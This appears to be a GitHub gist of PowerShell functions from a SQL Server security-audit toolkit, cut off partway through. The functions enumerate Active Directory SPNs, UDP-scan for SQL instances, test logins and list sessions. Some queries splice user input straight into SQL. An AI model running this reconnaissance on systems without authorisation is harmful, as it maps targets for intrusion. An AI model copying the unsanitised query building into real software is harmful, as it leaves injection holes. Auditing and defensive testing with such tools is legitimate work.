Created
October 26, 2020 21:14
-
-
Save nullbind/75a8fa02ba8d0a6f028cfb21c300e1e2 to your computer and use it in GitHub Desktop.
Revisions
-
nullbind created this gist
Oct 26, 2020 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,2621 @@ function Get-DomainObject { [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'Domain user to authenticate with domain\user.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'Domain password to authenticate with domain\user.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Credentials to use when connecting to a Domain Controller.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, HelpMessage = 'Domain controller for Domain and Site that you want to query against.')] [string]$DomainController, [Parameter(Mandatory = $false, HelpMessage = 'LDAP Filter.')] [string]$LdapFilter = '', [Parameter(Mandatory = $false, HelpMessage = 'LDAP path.')] [string]$LdapPath, [Parameter(Mandatory = $false, HelpMessage = 'Maximum number of Objects to pull from AD, limit is 1,000 .')] [int]$Limit = 1000, [Parameter(Mandatory = $false, HelpMessage = 'scope of a search as either a base, one-level, or subtree search, default is subtree.')] [ValidateSet('Subtree','OneLevel','Base')] [string]$SearchScope = 'Subtree' ) Begin { # Create PS Credential object if($Username -and $Password) { $secpass = ConvertTo-SecureString $Password -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ($Username, $secpass) } # Create Create the connection to LDAP if ($DomainController) { # Verify credentials were provided if(-not $Username){ Write-Output "A username and password must be provided when setting a specific domain controller." Break } # Test credentials and grab domain try { $objDomain = (New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password).distinguishedname }catch{ Write-Output "Authentication failed." } # add ldap path if($LdapPath) { $LdapPath = '/'+$LdapPath+','+$objDomain $objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController$LdapPath", $Credential.UserName, $Credential.GetNetworkCredential().Password } else { $objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password } $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath } else { $objDomain = ([ADSI]'').distinguishedName # add ldap path if($LdapPath) { $LdapPath = $LdapPath+','+$objDomain $objDomainPath = [ADSI]"LDAP://$LdapPath" } else { $objDomainPath = [ADSI]'' } $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath } # Setup LDAP filter $objSearcher.PageSize = $Limit $objSearcher.Filter = $LdapFilter $objSearcher.SearchScope = 'Subtree' } Process { try { # Return object $objSearcher.FindAll() | ForEach-Object -Process { $_ } } catch { "Error was $_" $line = $_.InvocationInfo.ScriptLineNumber "Error was in Line $line" } } End { } } function Get-DomainSpn { [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'Domain user to authenticate with domain\user.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'Domain password to authenticate with domain\user.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Credentials to use when connecting to a Domain Controller.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, HelpMessage = 'Domain controller for Domain and Site that you want to query against.')] [string]$DomainController, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Computer name to filter for.')] [string]$ComputerName, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Domain account to filter for.')] [string]$DomainAccount, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SPN service code.')] [string]$SpnService, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { if(-not $SuppressVerbose) { Write-Verbose -Message 'Getting domain SPNs...' } # Setup table to store results $TableDomainSpn = New-Object -TypeName System.Data.DataTable $null = $TableDomainSpn.Columns.Add('UserSid') $null = $TableDomainSpn.Columns.Add('User') $null = $TableDomainSpn.Columns.Add('UserCn') $null = $TableDomainSpn.Columns.Add('Service') $null = $TableDomainSpn.Columns.Add('ComputerName') $null = $TableDomainSpn.Columns.Add('Spn') $null = $TableDomainSpn.Columns.Add('LastLogon') $null = $TableDomainSpn.Columns.Add('Description') $TableDomainSpn.Clear() } Process { try { # Setup LDAP filter $SpnFilter = '' if($DomainAccount) { $SpnFilter = "(objectcategory=person)(SamAccountName=$DomainAccount)" } if($ComputerName) { $ComputerSearch = "$ComputerName`$" $SpnFilter = "(objectcategory=computer)(SamAccountName=$ComputerSearch)" } # Get results $SpnResults = Get-DomainObject -LdapFilter "(&(servicePrincipalName=$SpnService*)$SpnFilter)" -DomainController $DomainController -Username $Username -Password $Password -Credential $Credential # Parse results $SpnResults | ForEach-Object -Process { [string]$SidBytes = [byte[]]"$($_.Properties.objectsid)".split(' ') [string]$SidString = $SidBytes -replace ' ', '' #$Spn = $_.properties.serviceprincipalname[0].split(',') #foreach ($item in $Spn) foreach ($item in $($_.properties.serviceprincipalname)) { # Parse SPNs $SpnServer = $item.split('/')[1].split(':')[0].split(' ')[0] $SpnService = $item.split('/')[0] # Parse last logon if ($_.properties.lastlogon) { $LastLogon = [datetime]::FromFileTime([string]$_.properties.lastlogon).ToString('g') } else { $LastLogon = '' } # Add results to table $null = $TableDomainSpn.Rows.Add( [string]$SidString, [string]$_.properties.samaccountname, [string]$_.properties.cn, [string]$SpnService, [string]$SpnServer, [string]$item, $LastLogon, [string]$_.properties.description ) } } } catch { "Error was $_" $line = $_.InvocationInfo.ScriptLineNumber "Error was in Line $line" } } End { # Check for results if ($TableDomainSpn.Rows.Count -gt 0) { $TableDomainSpnCount = $TableDomainSpn.Rows.Count if(-not $SuppressVerbose) { Write-Verbose -Message "$TableDomainSpnCount SPNs found on servers that matched search criteria." } Return $TableDomainSpn } else { Write-Verbose -Message '0 SPNs found.' } } } function Get-SQLInstanceScanUDP { <# .SYNOPSIS Returns a list of SQL Servers resulting from a UDP discovery scan of provided computers. .PARAMETER ComputerName Computer name or IP address to enumerate SQL Instance from. .PARAMETER UDPTimeOut Timeout in seconds. Longer timeout = more accurate. .EXAMPLE PS C:\> Get-SQLInstanceScanUDP -Verbose -ComputerName SQLServer1.domain.com VERBOSE: - SQLServer1.domain.com - UDP Scan Start. VERBOSE: - SQLServer1.domain.com - UDP Scan Complete. ComputerName : SQLServer1.domain.com Instance : SQLServer1.domain.com\Express InstanceName : Express ServerIP : 10.10.10.30 TCPPort : 51663 BaseVersion : 11.0.2100.60 IsClustered : No ComputerName : SQLServer1.domain.com Instance : SQLServer1.domain.com\Standard InstanceName : Standard ServerIP : 10.10.10.30 TCPPort : 51861 BaseVersion : 11.0.2100.60 IsClustered : No .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLInstanceScanUDP -Verbose VERBOSE: - SQLServer1.domain.com - UDP Scan Start. VERBOSE: - SQLServer1.domain.com - UDP Scan Complete. ComputerName : SQLServer1.domain.com Instance : SQLServer1.domain.com\Express InstanceName : Express ServerIP : 10.10.10.30 TCPPort : 51663 BaseVersion : 11.0.2100.60 IsClustered : No ComputerName : SQLServer1.domain.com Instance : SQLServer1.domain.com\Standard InstanceName : Standard ServerIP : 10.10.10.30 TCPPort : 51861 BaseVersion : 11.0.2100.60 IsClustered : No [TRUNCATED] #> [CmdletBinding()] param( [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Computer name or IP address to enumerate SQL Instance from.')] [string]$ComputerName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Timeout in seconds. Longer timeout = more accurate.')] [int]$UDPTimeOut = 2, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Setup data table for results $TableResults = New-Object -TypeName system.Data.DataTable -ArgumentList 'Table' $null = $TableResults.columns.add('ComputerName') $null = $TableResults.columns.add('Instance') $null = $TableResults.columns.add('InstanceName') $null = $TableResults.columns.add('ServerIP') $null = $TableResults.columns.add('TCPPort') $null = $TableResults.columns.add('BaseVersion') $null = $TableResults.columns.add('IsClustered') } Process { if(-not $SuppressVerbose) { Write-Verbose -Message " - $ComputerName - UDP Scan Start." } # Verify server name isn't empty if ($ComputerName -ne '') { # Try to enumerate SQL Server instances from remote system try { # Resolve IP $IPAddress = [System.Net.Dns]::GetHostAddresses($ComputerName) # Create UDP client object $UDPClient = New-Object -TypeName System.Net.Sockets.Udpclient # Attempt to connect to system $UDPTimeOutMilsec = $UDPTimeOut * 1000 $UDPClient.client.ReceiveTimeout = $UDPTimeOutMilsec $UDPClient.Connect($ComputerName,0x59a) $UDPPacket = 0x03 # Send request to system $UDPEndpoint = New-Object -TypeName System.Net.Ipendpoint -ArgumentList ([System.Net.Ipaddress]::Any, 0) $UDPClient.Client.Blocking = $true [void]$UDPClient.Send($UDPPacket,$UDPPacket.Length) # Process response from system $BytesRecived = $UDPClient.Receive([ref]$UDPEndpoint) $Response = [System.Text.Encoding]::ASCII.GetString($BytesRecived).split(';') $values = @{} for($i = 0; $i -le $Response.length; $i++) { if(![string]::IsNullOrEmpty($Response[$i])) { $values.Add(($Response[$i].ToLower() -replace '[\W]', ''),$Response[$i+1]) } else { if(![string]::IsNullOrEmpty($values.'tcp')) { if(-not $SuppressVerbose) { $DiscoveredInstance = "$ComputerName\"+$values.'instancename' Write-Verbose -Message "$ComputerName - Found: $DiscoveredInstance" } # Add SQL Server instance info to results table $null = $TableResults.rows.Add( [string]$ComputerName, [string]"$ComputerName\"+$values.'instancename', [string]$values.'instancename', [string]$IPAddress, [string]$values.'tcp', [string]$values.'version', [string]$values.'isclustered') $values = @{} } } } # Close connection $UDPClient.Close() } catch { #"Error was $_" #$line = $_.InvocationInfo.ScriptLineNumber #"Error was in Line $line" # Close connection # $UDPClient.Close() } } if(-not $SuppressVerbose) { Write-Verbose -Message " - $ComputerName - UDP Scan Complete." } } End { # Return Results $TableResults } } Function Get-SQLInstanceDomain { [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'Domain user to authenticate with domain\user.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'Domain password to authenticate with domain\user.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Credentials to use when connecting to a Domain Controller.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, HelpMessage = 'Domain controller for Domain and Site that you want to query against.')] [string]$DomainController, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Computer name to filter for.')] [string]$ComputerName, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Domain account to filter for.')] [string]$DomainAccount, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Performs UDP scan of servers managing SQL Server clusters.')] [switch]$CheckMgmt, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Preforms a DNS lookup on the instance.')] [switch]$IncludeIP, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.')] [int]$UDPTimeOut = 3 ) Begin { # Table for SPN output $TblSQLServerSpns = New-Object -TypeName System.Data.DataTable $null = $TblSQLServerSpns.Columns.Add('ComputerName') $null = $TblSQLServerSpns.Columns.Add('Instance') $null = $TblSQLServerSpns.Columns.Add('DomainAccountSid') $null = $TblSQLServerSpns.Columns.Add('DomainAccount') $null = $TblSQLServerSpns.Columns.Add('DomainAccountCn') $null = $TblSQLServerSpns.Columns.Add('Service') $null = $TblSQLServerSpns.Columns.Add('Spn') $null = $TblSQLServerSpns.Columns.Add('LastLogon') $null = $TblSQLServerSpns.Columns.Add('Description') if($IncludeIP) { $null = $TblSQLServerSpns.Columns.Add('IPAddress') } # Table for UDP scan results of management servers } Process { # Get list of SPNs for SQL Servers Write-Verbose -Message 'Grabbing SPNs from the domain for SQL Servers (MSSQL*)...' $TblSQLServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -Credential $Credential -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSSQL*' -SuppressVerbose | Where-Object -FilterScript { $_.service -like 'MSSQL*' } Write-Verbose -Message 'Parsing SQL Server instances from SPNs...' # Add column containing sql server instance $TblSQLServers | ForEach-Object -Process { # Parse SQL Server instance $Spn = $_.Spn $Instance = $Spn.split('/')[1].split(':')[1] # Check if the instance is a number and use the relevent delim $Value = 0 if([int32]::TryParse($Instance,[ref]$Value)) { $SpnServerInstance = $Spn -replace ':', ',' } else { $SpnServerInstance = $Spn -replace ':', '\' } $SpnServerInstance = $SpnServerInstance -replace 'MSSQLSvc/', '' $TableRow = @([string]$_.ComputerName, [string]$SpnServerInstance, $_.UserSid, [string]$_.User, [string]$_.Usercn, [string]$_.Service, [string]$_.Spn, $_.LastLogon, [string]$_.Description) if($IncludeIP) { try { $IPAddress = [Net.DNS]::GetHostAddresses([String]$_.ComputerName).IPAddressToString if($IPAddress -is [Object[]]) { $IPAddress = $IPAddress -join ", " } } catch { $IPAddress = "0.0.0.0" } $TableRow += $IPAddress } # Add SQL Server spn to table $null = $TblSQLServerSpns.Rows.Add($TableRow) } # Enumerate SQL Server instances from management servers if($CheckMgmt) { Write-Verbose -Message 'Grabbing SPNs from the domain for Servers managing SQL Server clusters (MSServerClusterMgmtAPI)...' $TblMgmtServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -Credential $Credential -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSServerClusterMgmtAPI' -SuppressVerbose | Where-Object -FilterScript { $_.ComputerName -like '*.*' } | Select-Object -Property ComputerName -Unique | Sort-Object -Property ComputerName Write-Verbose -Message 'Performing a UDP scan of management servers to obtain managed SQL Server instances...' $TblMgmtSQLServers = $TblMgmtServers | Select-Object -Property ComputerName -Unique | Get-SQLInstanceScanUDP -UDPTimeOut $UDPTimeOut } } End { # Return data if($CheckMgmt) { Write-Verbose -Message 'Parsing SQL Server instances from the UDP scan...' $Tbl1 = $TblMgmtSQLServers | Select-Object -Property ComputerName, Instance | Sort-Object -Property ComputerName, Instance $Tbl2 = $TblSQLServerSpns | Select-Object -Property ComputerName, Instance | Sort-Object -Property ComputerName, Instance $Tbl3 = $Tbl1 + $Tbl2 $InstanceCount = $Tbl3.rows.count Write-Verbose -Message "$InstanceCount instances were found." $Tbl3 } else { $InstanceCount = $TblSQLServerSpns.rows.count Write-Verbose -Message "$InstanceCount instances were found." $TblSQLServerSpns } } } Function Get-SQLConnectionObject { [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Dedicated Administrator Connection (DAC).')] [Switch]$DAC, [Parameter(Mandatory = $false, HelpMessage = 'Default database to connect to.')] [String]$Database, [Parameter(Mandatory = $false, HelpMessage = 'Change appname.')] [string]$AppName = "", [Parameter(Mandatory = $false, HelpMessage = 'Change workstation name.')] [string]$WorkstationId = "", [Parameter(Mandatory = $false, HelpMessage = 'Use an encrypted connection.')] [ValidateSet("Yes","No","")] [string]$Encrypt = "", [Parameter(Mandatory = $false, HelpMessage = 'Trust the certificate of the remote server.')] [ValidateSet("Yes","No","")] [string]$TrustServerCert = "", [Parameter(Mandatory = $false, HelpMessage = 'Connection timeout.')] [string]$TimeOut = 1 ) Begin { if($DAC) { $DacConn = 'ADMIN:' } else { $DacConn = '' } if(-not $Database) { $Database = 'Master' } if($AppName){ $AppNameString = ";Application Name=`"$AppName`"" }else{ $AppNameString = "" } if($WorkstationId){ $WorkstationString = ";Workstation Id=`"$WorkstationId`"" }else{ $WorkstationString = "" } if($Encrypt){ $EncryptString = ";Encrypt=Yes" }else{ $EncryptString = "" } if($TrustServerCert){ $TrustCertString = ";TrustServerCertificate=Yes" }else{ $TrustCertString = "" } } Process { # Check for instance if ( -not $Instance) { $Instance = $env:COMPUTERNAME } $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection if(-not $Username){ # Set authentication type $AuthenticationType = "Current Windows Credentials" # Set connection string $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1$AppNameString$EncryptString$TrustCertString$WorkstationString" } if ($username -like "*\*"){ $AuthenticationType = "Provided Windows Credentials" # Setup connection string $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString$WorkstationString" } if (($username) -and ($username -notlike "*\*")){ # Set authentication type $AuthenticationType = "Provided SQL Login" # Setup connection string $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString$WorkstationString" } return $Connection } End { } } Function Get-SQLQuery { [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server query.')] [string]$Query, [Parameter(Mandatory = $false, HelpMessage = 'Connect using Dedicated Admin Connection.')] [Switch]$DAC, [Parameter(Mandatory = $false, HelpMessage = 'Default database to connect to.')] [String]$Database, [Parameter(Mandatory = $false, HelpMessage = 'Connection timeout.')] [int]$TimeOut, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose, [Parameter(Mandatory = $false, HelpMessage = 'Change application name in connection string.')] [string]$AppName = "", [Parameter(Mandatory = $false, HelpMessage = 'Change hostname in connection string.')] [string]$WorkstationId = "", [Parameter(Mandatory = $false, HelpMessage = 'Use an encrypted connection.')] [ValidateSet("Yes","No","")] [string]$Encrypt = "", [Parameter(Mandatory = $false, HelpMessage = 'Trust the certificate of the remote server.')] [ValidateSet("Yes","No","")] [string]$TrustServerCert = "", [Parameter(Mandatory = $false, HelpMessage = 'Return error message if exists.')] [switch]$ReturnError ) Begin { # Setup up data tables for output $TblQueryResults = New-Object -TypeName System.Data.DataTable } Process { # Setup DAC string if($DAC) { # Create connection object $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -WorkstationId $WorkstationId -Encrypt $Encrypt -TrustServerCert $TrustServerCert } else { # Create connection object $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -WorkstationId $WorkstationId -Encrypt $Encrypt -TrustServerCert $TrustServerCert } # Parse SQL Server instance name $ConnectionString = $Connection.Connectionstring $Instance = $ConnectionString.split(';')[0].split('=')[1] # Check for query if($Query) { # Attempt connection try { # Open connection $Connection.Open() if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } # Setup SQL query $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) # Grab results $Results = $Command.ExecuteReader() # Load results into data table $TblQueryResults.Load($Results) # Close connection $Connection.Close() # Dispose connection $Connection.Dispose() } catch { # Connection failed - for detail error use Get-SQLConnectionTest if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } if($ReturnError) { $ErrorMessage = $_.Exception.Message #Write-Verbose " Error: $ErrorMessage" } } } else { Write-Output -InputObject 'No query provided to Get-SQLQuery function.' Break } } End { # Return Results if($ReturnError) { $ErrorMessage } else { $TblQueryResults } } } Function Get-ComputerNameFromInstance { <# .SYNOPSIS Parses computer name from a provided instance. .PARAMETER Instance SQL Server instance to parse. .EXAMPLE PS C:\> Get-ComputerNameFromInstance -Instance SQLServer1\STANDARDDEV2014 SQLServer1 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance.')] [string]$Instance ) # Parse ComputerName from provided instance If ($Instance) { $ComputerName = $Instance.split('\')[0].split(',')[0] } else { $ComputerName = $env:COMPUTERNAME } Return $ComputerName } Function Get-SQLConnectionTest { <# .SYNOPSIS Tests if the current Windows account or provided SQL Server login can log into an SQL Server. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER Database Default database to connect to. .PARAMETER TimeOut Connection time out. .PARAMETER SuppressVerbose Suppress verbose errors. Used when function is wrapped. .EXAMPLE PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" .EXAMPLE PS C:\> Get-SQLConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433" .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLConnectionTest -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'IP Address of SQL Server.')] [string]$IPAddress, [Parameter(Mandatory = $false, HelpMessage = 'IP Address Range In CIDR Format to Audit.')] [string]$IPRange, [Parameter(Mandatory = $false, HelpMessage = 'Connect using Dedicated Admin Connection.')] [Switch]$DAC, [Parameter(Mandatory = $false, HelpMessage = 'Default database to connect to.')] [String]$Database, [Parameter(Mandatory = $false, HelpMessage = 'Connection timeout.')] [string]$TimeOut, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Setup data table for output $TblResults = New-Object -TypeName System.Data.DataTable $null = $TblResults.Columns.Add('ComputerName') $null = $TblResults.Columns.Add('Instance') $null = $TblResults.Columns.Add('Status') } Process { # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Split Demarkation Start ^ # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance if($IPRange -and $IPAddress) { if ($IPAddress.Contains(",")) { $ContainsValid = $false foreach ($IP in $IPAddress.Split(",")) { if($(Test-Subnet -cidr $IPRange -ip $IP)) { $ContainsValid = $true } } if (-not $ContainsValid) { Write-Warning "Skipping $ComputerName ($IPAddress)" $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Out of Scope') return } } if(-not $(Test-Subnet -cidr $IPRange -ip $IPAddress)) { Write-Warning "Skipping $ComputerName ($IPAddress)" $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Out of Scope') return } Write-Verbose "$ComputerName ($IPAddress)" } # Setup DAC string if($DAC) { # Create connection object $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database } else { # Create connection object $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database } # Attempt connection try { # Open connection $Connection.Open() if(-not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } # Add record $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible') # Close connection $Connection.Close() # Dispose connection $Connection.Dispose() } catch { # Connection failed if(-not $SuppressVerbose) { $ErrorMessage = $_.Exception.Message Write-Verbose -Message "$Instance : Connection Failed." Write-Verbose -Message " Error: $ErrorMessage" } # Add record $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') } } End { # Return Results $TblResults } } Function Get-SQLSession { <# .SYNOPSIS Returns active sessions from target SQL Servers. Sysadmin privileges is required to view all sessions. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .EXAMPLE PS C:\> Get-SQLSession -Instance SQLServer1\STANDARDDEV2014 | Select-Object -First 1 ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 PrincipalSid : 010500000000000515000000F3864312345716CC636051C017100000 PrincipalName : Domain\MyUser OriginalPrincipalName : Domain\MyUser SessionId : 51 SessionStartTime : 06/24/2016 09:26:21 SessionLoginTime : 06/24/2016 09:26:21 SessionStatus : running .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLSession -Verbose .EXAMPLE PS C:\> (Get-SQLSession -Instance SQLServer1\STANDARDDEV2014).count 48 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'PrincipalName.')] [string]$PrincipalName, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblSessions = New-Object -TypeName System.Data.DataTable $null = $TblSessions.Columns.Add('ComputerName') $null = $TblSessions.Columns.Add('Instance') $null = $TblSessions.Columns.Add('PrincipalSid') $null = $TblSessions.Columns.Add('PrincipalName') $null = $TblSessions.Columns.Add('OriginalPrincipalName') $null = $TblSessions.Columns.Add('SessionId') $null = $TblSessions.Columns.Add('SessionStartTime') $null = $TblSessions.Columns.Add('SessionLoginTime') $null = $TblSessions.Columns.Add('SessionStatus') # Setup PrincipalName filter if($PrincipalName) { $PrincipalNameFilter = " and login_name like '$PrincipalName'" } else { $PrincipalNameFilter = '' } } Process { # Note: Tables queried by this function typically require sysadmin privileges to view sessions that aren't yours. # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Define Query $Query = " USE master; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], security_id as [PrincipalSid], login_name as [PrincipalName], original_login_name as [OriginalPrincipalName], session_id as [SessionId], last_request_start_time as [SessionStartTime], login_time as [SessionLoginTime], status as [SessionStatus] FROM [sys].[dm_exec_sessions] ORDER BY status $PrincipalNameFilter" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Update sid formatting for each record $TblResults | ForEach-Object -Process { # Format principal sid $NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','') if ($NewSid.length -le 10) { $Sid = [Convert]::ToInt32($NewSid,16) } else { $Sid = $NewSid } # Add results to table $null = $TblSessions.Rows.Add( [string]$_.ComputerName, [string]$_.Instance, $Sid, [string]$_.PrincipalName, [string]$_.OriginalPrincipalName, [string]$_.SessionId, [string]$_.SessionStartTime, [string]$_.SessionLoginTime, [string]$_.SessionStatus) } } End { # Return data $TblSessions } } Function Get-SQLSysadminCheck { <# .SYNOPSIS Check if login is has sysadmin privilege on the target SQL Servers. .PARAMETER 